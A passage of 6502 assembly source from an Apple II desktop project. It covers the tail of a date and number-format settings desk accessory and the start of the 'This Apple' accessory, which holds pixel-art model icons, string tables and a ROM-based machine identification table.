jsr DrawField
lda #Field::deci
jsr DrawField
lda #Field::thou
jsr DrawField
BTK_CALL BTK::Draw, ok_button
BTK_CALL BTK::RadioDraw, date_mdy_button
BTK_CALL BTK::RadioDraw, date_dmy_button
BTK_CALL BTK::RadioDraw, clock_12hour_button
BTK_CALL BTK::RadioDraw, clock_24hour_button
MGTK_CALL MGTK::MoveTo, first_dow_label_pos
param_call DrawString, first_dow_label_str
BTK_CALL BTK::RadioDraw, sunday_button
BTK_CALL BTK::RadioDraw, monday_button
FALL_THROUGH_TO UpdateOptionButtons
.endproc ; DrawWindow
.proc UpdateOptionButtons
jsr UpdateFirstDOWOptionButtons
jsr UpdateDateOptionButtons
FALL_THROUGH_TO UpdateClockOptionButtons
.endproc ; UpdateOptionButtons
.proc UpdateClockOptionButtons
ldx #DeskTopSettings::clock_24hours
jsr ReadSetting
pha
cmp #0
jsr ZToButtonState
sta clock_12hour_button::state
BTK_CALL BTK::RadioUpdate, clock_12hour_button
pla
cmp #$80
jsr ZToButtonState
sta clock_24hour_button::state
BTK_CALL BTK::RadioUpdate, clock_24hour_button
rts
.endproc ; UpdateClockOptionButtons
.proc UpdateDateOptionButtons
ldx #DeskTopSettings::intl_date_order
jsr ReadSetting
pha
cmp #DeskTopSettings::kDateOrderMDY
jsr ZToButtonState
sta date_mdy_button::state
BTK_CALL BTK::RadioUpdate, date_mdy_button
pla
cmp #DeskTopSettings::kDateOrderDMY
jsr ZToButtonState
sta date_dmy_button::state
BTK_CALL BTK::RadioUpdate, date_dmy_button
rts
.endproc ; UpdateDateOptionButtons
.proc UpdateFirstDOWOptionButtons
ldx #DeskTopSettings::intl_first_dow
jsr ReadSetting
pha
cmp #0
jsr ZToButtonState
sta sunday_button::state
BTK_CALL BTK::RadioUpdate, sunday_button
pla
cmp #1
jsr ZToButtonState
sta monday_button::state
BTK_CALL BTK::RadioUpdate, monday_button
rts
.endproc ; UpdateFirstDOWOptionButtons
.proc ZToButtonState
IF_ZC
lda #BTK::kButtonStateNormal
rts
END_IF
lda #BTK::kButtonStateChecked
rts
.endproc ; ZToButtonState
;;; ============================================================
.params drawchar_params
addr: .addr char
length: .byte 1
char: .byte SELF_MODIFIED_BYTE
.endparams
;;; A = field
.proc DrawField
pha
IF_A_EQ selected_field
MGTK_CALL MGTK::SetTextBG, settextbg_black_params
MGTK_CALL MGTK::SetPenMode, notpencopy
ELSE
MGTK_CALL MGTK::SetTextBG, settextbg_white_params
MGTK_CALL MGTK::SetPenMode, pencopy
END_IF
pla
IF_A_EQ #Field::date
ldx #DeskTopSettings::intl_date_sep
jsr ReadSetting
sta drawchar_params::char
sta date_sample_label_str+kDateSampleOffset1
sta date_sample_label_str+kDateSampleOffset2
MGTK_CALL MGTK::PaintRect, date_hilite
MGTK_CALL MGTK::MoveTo, date_char_pos
MGTK_CALL MGTK::DrawText, drawchar_params
MGTK_CALL MGTK::SetTextBG, settextbg_white_params
MGTK_CALL MGTK::MoveTo, date_sample_label_pos
param_jump DrawString, date_sample_label_str
END_IF
IF_A_EQ #Field::time
ldx #DeskTopSettings::intl_time_sep
jsr ReadSetting
sta drawchar_params::char
sta time_sample_label_str+kTimeSampleOffset
MGTK_CALL MGTK::PaintRect, time_hilite
MGTK_CALL MGTK::MoveTo, time_char_pos
MGTK_CALL MGTK::DrawText, drawchar_params
MGTK_CALL MGTK::SetTextBG, settextbg_white_params
MGTK_CALL MGTK::MoveTo, time_sample_label_pos
param_jump DrawString, time_sample_label_str
END_IF
IF_A_EQ #Field::deci
ldx #DeskTopSettings::intl_deci_sep
jsr ReadSetting
sta drawchar_params::char
sta deci_sample_label_str+kDeciSampleOffset
MGTK_CALL MGTK::PaintRect, deci_hilite
MGTK_CALL MGTK::MoveTo, deci_char_pos
MGTK_CALL MGTK::DrawText, drawchar_params
MGTK_CALL MGTK::SetTextBG, settextbg_white_params
MGTK_CALL MGTK::MoveTo, deci_sample_label_pos
param_jump DrawString, deci_sample_label_str
END_IF
IF_A_EQ #Field::thou
ldx #DeskTopSettings::intl_thou_sep
jsr ReadSetting
sta drawchar_params::char
sta thou_sample_label_str+kThouSampleOffset
MGTK_CALL MGTK::PaintRect, thou_hilite
MGTK_CALL MGTK::MoveTo, thou_char_pos
MGTK_CALL MGTK::DrawText, drawchar_params
MGTK_CALL MGTK::SetTextBG, settextbg_white_params
MGTK_CALL MGTK::MoveTo, thou_sample_label_pos
param_jump DrawString, thou_sample_label_str
END_IF
rts
.endproc ; DrawField
;;; ============================================================
;;; Selected a field (dehighlight the old one, highlight the new one)
;;; Input: A = new field to select
.proc SelectField
ldx selected_field
sta selected_field
txa
jsr DrawField
lda selected_field
jmp DrawField
.endproc ; SelectField
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::RunDA
bmi SaveSettings
rts
.include "../lib/save_settings.s"
.assert * < write_buffer, error, .sprintf("DA too big (at $%X)", *)
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 85,888
|
src/desk.acc/this.apple.s
|
;;; ============================================================
;;; THIS.APPLE - Desk Accessory
;;;
;;; Displays information about the current computer. The data
;;; shown includes:
;;; * Model
;;; * CPU
;;; * Expanded/RAMWorks Memory
;;; * ProDOS version
;;; * Contents of each expansion slot
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "this.apple.res"
.include "apple2.inc"
.include "opcodes.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../inc/smartport.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | write_buffer| | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | strings | | |
;;; | app code | | resources |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
;;; Currently there's not enough room for these.
INCLUDE_UNSUPPORTED_MACHINES = 0
kShortcutEasterEgg = res_char_easter_egg_shortcut
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDAWindowId = $80
kDAWidth = 400
kDAHeight = 118
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
str_title:
PASCAL_STRING res_string_window_title
notpencopy: .byte MGTK::notpencopy
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
;;; ============================================================
.macro DEFINE_BITMAP identifier, width, height
WARN_IF_SHADOWING .ident(.sprintf("%s_bitmap", .string(identifier)))
.params .ident(.sprintf("%s_bitmap", .string(identifier)))
DEFINE_POINT viewloc, 88 - (width/2), 19 - (height/2)
mapbits: .addr .ident(.sprintf("%s_bits", .string(identifier)))
mapwidth: .byte (width + 6) / 7
reserved: .res 1
DEFINE_RECT maprect, 0, 0, width-1, height-1
REF_MAPINFO_MEMBERS
.endparams
.endmacro
DEFINE_BITMAP ii, 51, 19
DEFINE_BITMAP iii, 55, 25
DEFINE_BITMAP iie, 51, 26
DEFINE_BITMAP iic, 46, 28
DEFINE_BITMAP iigs, 39, 26
DEFINE_BITMAP iie_card, 56, 22
DEFINE_BITMAP laser128, 48, 30
DEFINE_BITMAP ace500, 49, 30
DEFINE_BITMAP ace2000, 49, 24
DEFINE_BITMAP tlc, 46, 25
DEFINE_BITMAP trackstar, 56, 25
DEFINE_BITMAP mega_iie, 48, 22
DEFINE_BITMAP pravetz, 51, 24
ii_bits:
PIXELS ".......######################....................."
PIXELS "......##....................##...................."
PIXELS "......##..################..##...................."
PIXELS "......##..##............##..################......"
PIXELS "......##..##..##..##....##..##............##......"
PIXELS "......##..##............##..##..########..##......"
PIXELS "......##..##..##........##..##............##......"
PIXELS "......##..##............##..################......"
PIXELS "......##..##............##..##............##......"
PIXELS "......##..################..##..########..##......"
PIXELS "......##....................##............##......"
PIXELS ".......####################################......."
PIXELS ".....###..................................###....."
PIXELS "...###....##..##..##..##..##..##..##..##....###..."
PIXELS ".###....##..##..##..##..##..##..##..##..##....###."
PIXELS "##....##..##..##..##..##..##..##..##..##..##....##"
PIXELS "##..............................................##"
PIXELS ".###..........................................###."
PIXELS "...############################################..."
iii_bits:
PIXELS ".......########################################......."
PIXELS "......##......................................##......"
PIXELS "......##..##########################..........##......"
PIXELS "......##..##......................##..........##......"
PIXELS "......##..##..##..##..##..##......##..........##......"
PIXELS "......##..##......................##..........##......"
PIXELS "......##..##..##..##..............##..........##......"
PIXELS "......##..##......................##..........##......"
PIXELS "......##..##..##..................##..##..##..##......"
PIXELS "......##..##......................##..##..##..##......"
PIXELS "......##..##########################..........##......"
PIXELS "......##......................................##......"
PIXELS ".......########################################......."
PIXELS "......##......................................##......"
PIXELS "......##......................................##......"
PIXELS "......##........................##########....##......"
PIXELS "......##....######.................####.......##......"
PIXELS "......##......................................##......"
PIXELS "......##########################################......"
PIXELS ".....###......................................###....."
PIXELS "...###....##..##..##..##..##..##......##..##....###..."
PIXELS ".###....##..##..##..##..##..##..##......##..##....###."
PIXELS "##....##..##..##..##..##..##..##..##......##..##....##"
PIXELS "##..................................................##"
PIXELS ".####################################################."
iie_bits:
PIXELS ".......####################################......."
PIXELS "......##..................................##......"
PIXELS "......##..##########################......##......"
PIXELS "......##..##......................##......##......"
PIXELS "......##..##..##..##..##..##......##......##......"
PIXELS "......##..##......................##......##......"
PIXELS "......##..##..##..##..............##......##......"
PIXELS "......##..##......................##......##......"
PIXELS "......##..##..##..................##......##......"
PIXELS "......##..##......................##......##......"
PIXELS "......##..##......................##......##......"
PIXELS "......##..##......................##..##..##......"
PIXELS "......##..##########################..##..##......"
PIXELS "......##..................................##......"
PIXELS ".......####################################......."
PIXELS "......##..................................##......"
PIXELS "......##....##########......##########....##......"
PIXELS "......##..................................##......"
PIXELS ".......####################################......."
PIXELS ".....###..................................###....."
PIXELS "...###....##..##..##..##..##..##..##..##....###..."
PIXELS ".###....##..##..##..##..##..##..##..##..##....###."
PIXELS "##....##..##..##..##..##..##..##..##..##..##....##"
PIXELS "##..............................................##"
PIXELS ".###..........................................###."
PIXELS "...############################################..."
iic_bits:
PIXELS ".......################################......."
PIXELS "......##..............................##......"
PIXELS "......##...########################...##......"
PIXELS "......##..##......................##..##......"
PIXELS "......##..##..##..##..##..##......##..##......"
PIXELS "......##..##......................##..##......"
PIXELS "......##..##..##..##..............##..##......"
PIXELS "......##..##......................##..##......"
PIXELS "......##..##..##..................##..##......"
PIXELS "......##..##......................##..##......"
PIXELS "......##..##......................##..##......"
PIXELS "......##..##......................##..##......"
PIXELS "......##...########################...##......"
PIXELS "......##..............................##......"
PIXELS ".......################################......."
PIXELS "............##..................##............"
PIXELS "...########################################..."
PIXELS "..##......................................##.."
PIXELS "..##..#..#..#..#..#..#..#..#..#..#..#..#..##.."
PIXELS "..##..#..#..#..#..#..#..#..#..#..#..#..#..##.."
PIXELS ".##...#..#..#..#..#..#..#..#..#..#..#..#...##."
PIXELS ".##...#..#..#..#..#..#..#..#..#..#..#..#...##."
PIXELS ".##........................................##."
PIXELS "##....##..##..##..##..##..##..##..##..##....##"
PIXELS "##..##..##..##..##..##..##..##..##..##..##..##"
PIXELS "##....##..##..##..##..##..##..##..##..##....##"
PIXELS "##..........................................##"
PIXELS ".############################################."
iigs_bits:
PIXELS ".####################################."
PIXELS "##..................................##"
PIXELS "##..##############################..##"
PIXELS "##..##..........................##..##"
PIXELS "##..##..##..##..##..##..........##..##"
PIXELS "##..##..........................##..##"
PIXELS "##..##..##..##..................##..##"
PIXELS "##..##..........................##..##"
PIXELS "##..##..##......................##..##"
PIXELS "##..##..........................##..##"
PIXELS "##..##..........................##..##"
PIXELS "##..##..........................##..##"
PIXELS "##..##..........................##..##"
PIXELS "##..##############################..##"
PIXELS "##..................................##"
PIXELS ".####################################."
PIXELS "..##..............................##.."
PIXELS "..##..............................##.."
PIXELS "..##..............................##.."
PIXELS "..##..............................##.."
PIXELS "..##..##..######..................##.."
PIXELS "..##..............................##.."
PIXELS "..##################################.."
PIXELS "..##..............................##.."
PIXELS "..##..............................##.."
PIXELS "...################################..."
iie_card_bits:
PIXELS "...###########################################.........."
PIXELS "..####......................................##.........."
PIXELS "..####...............................##.....##.........."
PIXELS "..####...................########....##.....##.........."
PIXELS "..####..###.....##..##...########...........##....####.."
PIXELS "..####..###.....##..##...########...........##....####.."
PIXELS "...##...........##..##...########...........##....####.."
PIXELS "...##..####..............########....#####..##..########"
PIXELS "...##..####....####..................#####..##...######."
PIXELS "...##..####....####..................#####..##....####.."
PIXELS "...##.......................................##.....##..."
PIXELS "...###########################################.........."
PIXELS "........................................................"
PIXELS "########################################################"
PIXELS "##....................................................##"
PIXELS "##....................................................##"
PIXELS "##...............................##################...##"
PIXELS "##....................................................##"
PIXELS "##....................................................##"
PIXELS "########################################################"
PIXELS "...##..............................................##..."
PIXELS "...##################################################..."
laser128_bits:
PIXELS ".......####################################......"
PIXELS "......##..................................##....."
PIXELS "......##...########################.......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..##..##..##......##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..##..............##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..................##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##......................##..##..##....."
PIXELS "......##..##......................##..##..##....."
PIXELS "......##...########################.......##....."
PIXELS "......##..................................##....."
PIXELS ".......####################################......"
PIXELS "................................................."
PIXELS "...############################################.."
PIXELS "..##..##...##...##............................##."
PIXELS "..##...##...##...###############################."
PIXELS "..##....##...##...............................##."
PIXELS "..##.....##...##################################."
PIXELS "..##......##..................................##."
PIXELS "..##.......#####################################."
PIXELS "..##..........................................##."
PIXELS "..##....##..##..##..##..##....................##."
PIXELS "..##..##..##..##..##..##..##..##..##..##..##..##."
PIXELS "..##....##..##..##..##..##..##..##..##..##....##."
PIXELS "..##..##..##..##..##..##..##..##..##..##..##..##."
PIXELS "..##..........................................##."
PIXELS "...############################################.."
ace500_bits:
PIXELS ".......####################################......"
PIXELS "......##..................................##....."
PIXELS "......##...########################.......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..##..##..##......##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..##..............##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..................##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##......................##..##..##....."
PIXELS "......##..##......................##..##..##....."
PIXELS "......##...########################.......##....."
PIXELS "......##..................................##....."
PIXELS ".......####################################......"
PIXELS "................................................."
PIXELS ".################################################"
PIXELS ".####.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.###"
PIXELS ".###.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.####"
PIXELS ".####.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.###"
PIXELS ".################################################"
PIXELS ".################################################"
PIXELS ".###.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.#.####"
PIXELS "..##############################################."
PIXELS "..####..##..##..##..##..##..##..####..##..######."
PIXELS "..######..##..##..##..##..##..##..####..##..####."
PIXELS "..####..##..##..##..##..##..##..####..##..######."
PIXELS "..######..##..##..##..##..##..##..####..##..####."
PIXELS "..##############################################."
PIXELS "..##############################################."
ace2000_bits:
PIXELS ".......####################################......"
PIXELS "......##..................................##....."
PIXELS "......##...########################.......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..##..##..##......##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..##..............##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##..##..................##......##....."
PIXELS "......##..##......................##......##....."
PIXELS "......##..##......................##..##..##....."
PIXELS "......##..##......................##..##..##....."
PIXELS "......##...########################.......##....."
PIXELS "......##..................................##....."
PIXELS ".......####################################......"
PIXELS "................................................."
PIXELS ".################################################"
PIXELS ".##............................................##"
PIXELS ".##..########################################..##"
PIXELS ".##..##########.............##.............##..##"
PIXELS ".##..########################################..##"
PIXELS ".##............................................##"
PIXELS ".################################################"
PIXELS ".################################################"
tlc_bits:
PIXELS "....######################################...."
PIXELS "...##....................................##..."
PIXELS "...##.....######....######....######.....##..."
PIXELS "...##.....#....#....#....#....#....#.....##..."
PIXELS "...##....##....##..##....##..##....##....##..."
PIXELS "...##.....#....#....#....#....#....#.....##..."
PIXELS "...##.....######....######....######.....##..."
PIXELS "...##....................................##..."
PIXELS "...##.....######....######....######.....##..."
PIXELS "...##.....#....#....#....#....#....#.....##..."
PIXELS "...##....##....##..##....##..##....##....##..."
PIXELS "...##.....#....#....#....#....#....#.....##..."
PIXELS "...##.....######....######....######.....##..."
PIXELS "...##....................................##..."
PIXELS "...########################################..."
PIXELS ".......##............................##......."
PIXELS "...########################################..."
PIXELS "..##......................................##.."
PIXELS "..##..##..##..##..##..##..##..##..##..##..##.."
PIXELS ".##.....##..##..##..##..##..##..##..##.....##."
PIXELS ".##...##..##..##..##..##..##..##..##..##...##."
PIXELS "##..........................................##"
PIXELS "##.................#.#.#.#..................##"
PIXELS "##..........................................##"
PIXELS ".############################################."
trackstar_bits:
PIXELS ".........######################################........."
PIXELS "........##....................................##........"
PIXELS "........##...##############################...##........"
PIXELS "........##..##........................######..##........"
PIXELS "........##..##..##..##..##..##........######..##........"
PIXELS "........##..##........................######..##........"
PIXELS "........##..##..##..##................##..##..##........"
PIXELS "........##..##........................######..##........"
PIXELS "........##..##..##....................##..##..##........"
PIXELS "........##..##........................######..##........"
PIXELS "........##..##........................##..##..##........"
PIXELS "........##..##........................######..##........"
PIXELS "........##...##############################...##........"
PIXELS "........##....................................##........"
PIXELS ".........######################################........."
PIXELS "................##....................##................"
PIXELS "..####################################################.."
PIXELS ".##..................................................##."
PIXELS ".##...###.............#############################..##."
PIXELS ".##...###.............##############.##############..##."
PIXELS "##....................##..........##.##..........##...##"
PIXELS "##..#.#.#.#.#.#.#.#...##############.##############...##"
PIXELS "##..#.#.#.#.#.#.#.#...#############################...##"
PIXELS "##....................................................##"
PIXELS ".######################################################."
mega_iie_bits:
PIXELS "....##..##..##..##..##..##..##..##..##..##...."
PIXELS "..##########################################.."
PIXELS "####......................................####"
PIXELS "..##.......#.###..........................##.."
PIXELS "####....#.#.#.####..#...#.#.....###.###...####"
PIXELS "..##...###.#.#.####.#...#.#....#.....#....##.."
PIXELS "####...####.#.#####..#.#..#.....##...#....####"
PIXELS "..##...#####.######..#.#..#.......#..#....##.."
PIXELS "####....##########....#...####.###..###...####"
PIXELS "..##......######..........................##.."
PIXELS "####......................................####"
PIXELS "..##......................................##.."
PIXELS "####..##.##.##.##.##.........##.##.##.##..####"
PIXELS "..##......................................##.."
PIXELS "####..##.##.##.##.##.##...................####"
PIXELS "..##......................................##.."
PIXELS "####..##.##.##.##.##.##.##.##.............####"
PIXELS "..##......................................##.."
PIXELS "####..##.##.##.##.##.##.##.##.##..........####"
PIXELS "..##......................................##.."
PIXELS "..##########################################.."
PIXELS "....##..##..##..##..##..##..##..##..##..##...."
pravetz_bits:
PIXELS ".......####################################......."
PIXELS "......##..................................##......"
PIXELS "......##...########################.......##......"
PIXELS "......##..##......................##......##......"
PIXELS "......##..##......#####...##......##......##......"
PIXELS "......##..##....######......###...##..##..##......"
PIXELS "......##..##.....##...##......##..##..##..##......"
PIXELS "......##..##............##....##..##......##......"
PIXELS "......##..##....####......##..##..##..##..##......"
PIXELS "......##..##...##..###......##....##..##..##......"
PIXELS "......##..##..##......######..##..##......##......"
PIXELS "......##..##......................##..##..##......"
PIXELS "......##...########################...##..##......"
PIXELS "......##..................................##......"
PIXELS ".......####################################......."
PIXELS ".........##............................##........."
PIXELS ".......####################################......."
PIXELS ".....###..................................###....."
PIXELS "...###....##..##..##..##..##..##..##..##....###..."
PIXELS ".###....##..##..##..##..##..##..##..##..##....###."
PIXELS "##....##..##..##..##..##..##..##..##..##..##....##"
PIXELS "##..............................................##"
PIXELS "##..............................................##"
PIXELS ".###############################################.."
;;; ============================================================
DEFINE_POINT model_pos, 150, 12
DEFINE_POINT pdver_pos, 150, 23
DEFINE_POINT mem_pos, 150, 34
DEFINE_POINT line1, 0, 37
DEFINE_POINT line2, kDAWidth, 37
DEFINE_POINT pos_slot1, 45, 50
DEFINE_POINT pos_slot2, 45, 61
DEFINE_POINT pos_slot3, 45, 72
DEFINE_POINT pos_slot4, 45, 83
DEFINE_POINT pos_slot5, 45, 94
DEFINE_POINT pos_slot6, 45, 105
DEFINE_POINT pos_slot7, 45, 116
;;; ============================================================
ep_start:
.include "../lib/event_params.s"
.params trackgoaway_params
clicked: .byte 0
.endparams
ep_size := * - ep_start
;;; ============================================================
buf_string := *
.assert buf_string + 256 < $2000, error, "DA too large"
;;; ============================================================
DA_END_AUX_SEGMENT
DA_START_MAIN_SEGMENT
;;; ============================================================
;; Some static checks where we can cache the results.
jsr IdentifyModel
jsr IdentifyProDOSVersion
jsr IdentifyMemory
;; And run from main
jmp Init
;;; ============================================================
ep_start:
.include "../lib/event_params.s"
.params trackgoaway_params
clicked: .byte 0
.endparams
ep_size := * - ep_start
.assert ep_size = aux::ep_size, error, "param mismatch aux vs. main"
.proc CopyEventDataToMain
copy16 #aux::event_params, STARTLO
copy16 #aux::event_params+ep_size-1, ENDLO
copy16 #event_params, DESTINATIONLO
clc ; aux>main
jmp AUXMOVE
.endproc ; CopyEventDataToMain
.proc CopyEventDataToAux
copy16 #event_params, STARTLO
copy16 #event_params+ep_size-1, ENDLO
copy16 #aux::event_params, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; CopyEventDataToAux
;;; ============================================================
str_ii:
PASCAL_STRING res_string_model_ii
str_iiplus:
PASCAL_STRING res_string_model_iiplus
str_iii:
PASCAL_STRING res_string_model_iii
str_iie_original:
PASCAL_STRING res_string_model_iie_original
str_iie_enhanced:
PASCAL_STRING res_string_model_iie_enhanced
str_iie_edm:
PASCAL_STRING res_string_model_iie_edm
str_iie_card:
PASCAL_STRING res_string_model_iie_card
str_iic_original:
PASCAL_STRING res_string_model_iic_original
str_iic_rom0:
PASCAL_STRING res_string_model_iic_rom0
str_iic_rom3:
PASCAL_STRING res_string_model_iic_rom3
str_iic_rom4:
PASCAL_STRING res_string_model_iic_rom4
str_iic_plus:
PASCAL_STRING res_string_model_iic_plus
str_iigs:
PASCAL_STRING res_string_model_iigs_pattern
kStrIIgsROMOffset = res_const_model_iigs_pattern_offset1
str_laser128:
PASCAL_STRING res_string_model_laser128
str_ace500:
PASCAL_STRING res_string_model_ace500
str_ace2000:
PASCAL_STRING res_string_model_ace2000
str_tlc:
PASCAL_STRING res_string_model_tlc
str_trackstar_e:
PASCAL_STRING res_string_model_trackstar_e
str_trackstar_plus:
PASCAL_STRING res_string_model_trackstar_plus
str_mega_iie:
PASCAL_STRING res_string_model_mega_iie
str_tk3000:
PASCAL_STRING res_string_model_tk3000
str_pravetz:
PASCAL_STRING res_string_model_pravetz
;;; ============================================================
str_prodos_version:
PASCAL_STRING res_string_prodos_version_pattern
kVersionStrMajor = res_const_prodos_version_pattern_offset1
kVersionStrMinor = res_const_prodos_version_pattern_offset2
kVersionStrPatch = res_const_prodos_version_pattern_offset3
str_slot_n:
PASCAL_STRING res_string_slot_n_pattern
kStrSlotNOffset = res_const_slot_n_pattern_offset1
str_memory_prefix:
PASCAL_STRING res_string_memory_prefix
str_memory_kb_suffix:
PASCAL_STRING res_string_memory_kb_suffix ; memory size suffix for kilobytes
str_memory_mb_suffix:
PASCAL_STRING res_string_memory_mb_suffix ; memory size suffix for megabytes
str_list_separator:
PASCAL_STRING ", "
memory:.word 0
memory_is_mb_flag: .byte 0 ; bit7
;;; ============================================================
str_cpu_prefix: PASCAL_STRING res_string_cpu_prefix
str_6502: PASCAL_STRING res_string_cpu_type_6502
str_65C02: PASCAL_STRING res_string_cpu_type_65C02
str_65C02zip: PASCAL_STRING res_string_cpu_type_65C02zip
str_R65C02: PASCAL_STRING res_string_cpu_type_R65C02
str_65802: PASCAL_STRING res_string_cpu_type_65802
str_65816: PASCAL_STRING res_string_cpu_type_65816
;;; ============================================================
model: .byte 0
model_str_ptr: .addr 0
model_pix_ptr: .addr 0
slot_pos_table:
.addr 0, aux::pos_slot1, aux::pos_slot2, aux::pos_slot3, aux::pos_slot4, aux::pos_slot5, aux::pos_slot6, aux::pos_slot7
;;; ============================================================
kMaxSmartportDevices = 8
str_diskii: PASCAL_STRING res_string_card_type_diskii
str_nvram: PASCAL_STRING res_string_device_type_nvram
str_booti: PASCAL_STRING res_string_device_type_booti
str_xdrive: PASCAL_STRING res_string_device_type_xdrive
str_block: PASCAL_STRING res_string_card_type_block
str_smartport: PASCAL_STRING res_string_card_type_smartport
str_ssc: PASCAL_STRING res_string_card_type_ssc
str_80col: PASCAL_STRING res_string_card_type_80col
str_mouse: PASCAL_STRING res_string_card_type_mouse
str_silentype: PASCAL_STRING res_string_card_type_silentype
str_clock: PASCAL_STRING res_string_card_type_clock
str_comm: PASCAL_STRING res_string_card_type_comm
str_serial: PASCAL_STRING res_string_card_type_serial
str_parallel: PASCAL_STRING res_string_card_type_parallel
str_printer: PASCAL_STRING res_string_card_type_printer
str_joystick: PASCAL_STRING res_string_card_type_joystick
str_io: PASCAL_STRING res_string_card_type_io
str_modem: PASCAL_STRING res_string_card_type_modem
str_audio: PASCAL_STRING res_string_card_type_audio
str_storage: PASCAL_STRING res_string_card_type_storage
str_network: PASCAL_STRING res_string_card_type_network
str_mockingboard: PASCAL_STRING res_string_card_type_mockingboard
str_z80: PASCAL_STRING res_string_card_type_z80
str_uthernet2: PASCAL_STRING res_string_card_type_uthernet2
str_passport: PASCAL_STRING res_string_card_type_passport
str_lcmeve: PASCAL_STRING res_string_card_type_lcmeve
str_vidhd: PASCAL_STRING res_string_card_type_vidhd
str_grappler: PASCAL_STRING res_string_card_type_grappler
str_thunderclock: PASCAL_STRING res_string_card_type_thunderclock
str_applecat: PASCAL_STRING res_string_card_type_applecat
str_workstation: PASCAL_STRING res_string_card_type_workstation
str_cricket: PASCAL_STRING res_string_device_type_cricket
str_unknown: PASCAL_STRING res_string_unknown
str_empty: PASCAL_STRING res_string_empty
str_none: PASCAL_STRING res_string_none
str_duplicate_suffix: PASCAL_STRING res_string_duplicate_suffix_pattern
kDuplicateCountOffset = res_const_duplicate_suffix_pattern_offset1
;;; ============================================================
dib_buffer: .tag SPDIB
kMaxSPDeviceNameLength = SPDIB::Device_Type_Code - SPDIB::Device_Name
;;; ============================================================
;;; Per Technical Note: Apple II Miscellaneous #7: Apple II Family Identification
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/misc/tn.misc.07.html
;;; and c/o JohnMBrooks
;;; Machine $FBB3 $FB1E $FBC0 $FBDD $FBBF
;;; --------------------------------------------------------------------
;;; Apple ][ $38 [$AD] [$60] [$A9] [$2F]
;;; Apple ][+ $EA $AD [$EA] [$A9] [$EA]
;;; Apple /// (emulation) $EA $8A
;;; Apple IIe $06 [$AD] $EA [$A9] [$00]
;;; Apple IIe (enhanced) $06 [$AD] $E0 [$A9] [$00]
;;; Apple IIe (Ext. Debug Mon.) $06 [$AD] $E1
;;; Apple IIe Option Card * $06 [$AD] $E0 $02
;;; Apple IIc ** $06 [$4C] $00 [$A9] $FF
;;; Apple IIc (3.5 ROM) $06 [$4C] $00 [$A9] $00
;;; Apple IIc (Org. Mem. Exp.) $06 [$4C] $00 [$A9] $03
;;; Apple IIc (Rev. Mem. Exp.) $06 [$4C] $00 [$A9] $04
;;; Apple IIc Plus $06 [$4C] $00 [$A9] $05
;;; Apple IIgs *** $06 [$4C] $E0 [$00] [$00]
;;; Laser 128 $06 $AC [$E0] [$8D] [$00]
;;; Franklin ACE 500 $06 $AD $00 $4C [$00]
;;; Franklin ACE 2000 **** $06 $AD $EA/$E0 $4C [$00]
;;; Trackstar E $06 [$AD] $EA $A9 $EA
;;; Trackstar Plus $06 [$AD] $E0 $A9 $EA
;;;
;;; (Values in [] are for reference, not needed for compatibility check)
;;;
;;; * = $FBBE is the version byte for the Apple IIe Card.
;;; $00 = v1.0 - first release, requires an original LC, doesn't support hard drives
;;; $01 = v2.0 - (pic of install disk on vectronics apple world)
;;; $02 = v2.1
;;; $03 = v2.2.x - latest Apple release of IIe Startup (c/o MG & Frank M.)
